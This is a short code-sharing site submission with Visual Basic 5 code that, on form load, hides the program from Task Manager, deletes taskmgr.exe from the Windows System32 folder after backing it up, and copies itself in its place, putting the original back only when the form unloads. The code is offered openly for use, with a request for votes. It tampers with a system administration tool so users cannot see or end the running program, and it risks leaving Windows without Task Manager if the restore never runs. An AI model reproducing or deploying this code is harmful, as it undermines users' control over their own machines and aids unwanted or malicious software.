by Lee S. Cook (3 Submissions)
Category: Coding Standards
Compatability: Visual Basic 5.0
Difficulty: Beginner
Date Added: Wed 3rd February 2021
Rating: 
(5 Votes)
This code temporary disables the taskmanager, works with Windows XP Home ... please vote ...
Assumes
After inputing the code, compile this app... and when a user presses, Alt + CTRL + Del it will display the current application...
VBcodersPrivate Sub Form_Load()
' Hides the application from the taskmanager
TaskVisible = False
' Makes a backup directory for taskmgr.exe
MkDir "C:\TASKMANAGER-BACKUP"
' Makes a backup of taskmgr.exe .
FileCopy "C:\WINDOWS\System32\taskmgr.exe", "C:\TASKMANAGER-BACKUP\taskmgr1.exe"
' Deletes the taskmgr.exe file .
Kill "C:\WINDOWS\System32\taskmgr.exe"
' Copies this application and temporary bypassses it for taskmgr.exe .
FileCopy App.Path & "\project1.exe", "C:\WINDOWS\System32\taskmgr.exe"
End Sub
Private Sub Form_Unload(Cancel As Integer)
' Copies the original file back to the original location on form unload .
FileCopy "C:\TASKMANAGER-BACKUP\taskmgr1.exe", "C:\WINDOWS\System32\taskmgr.exe"
'Deletes the temporary file
Kill "C:\TASKMANAGER-BACKUP\taskmgr1.exe"
'Deletes the temporary backup folder
RmDir ("C:\TASKMANAGER-BACKUP")
End Sub
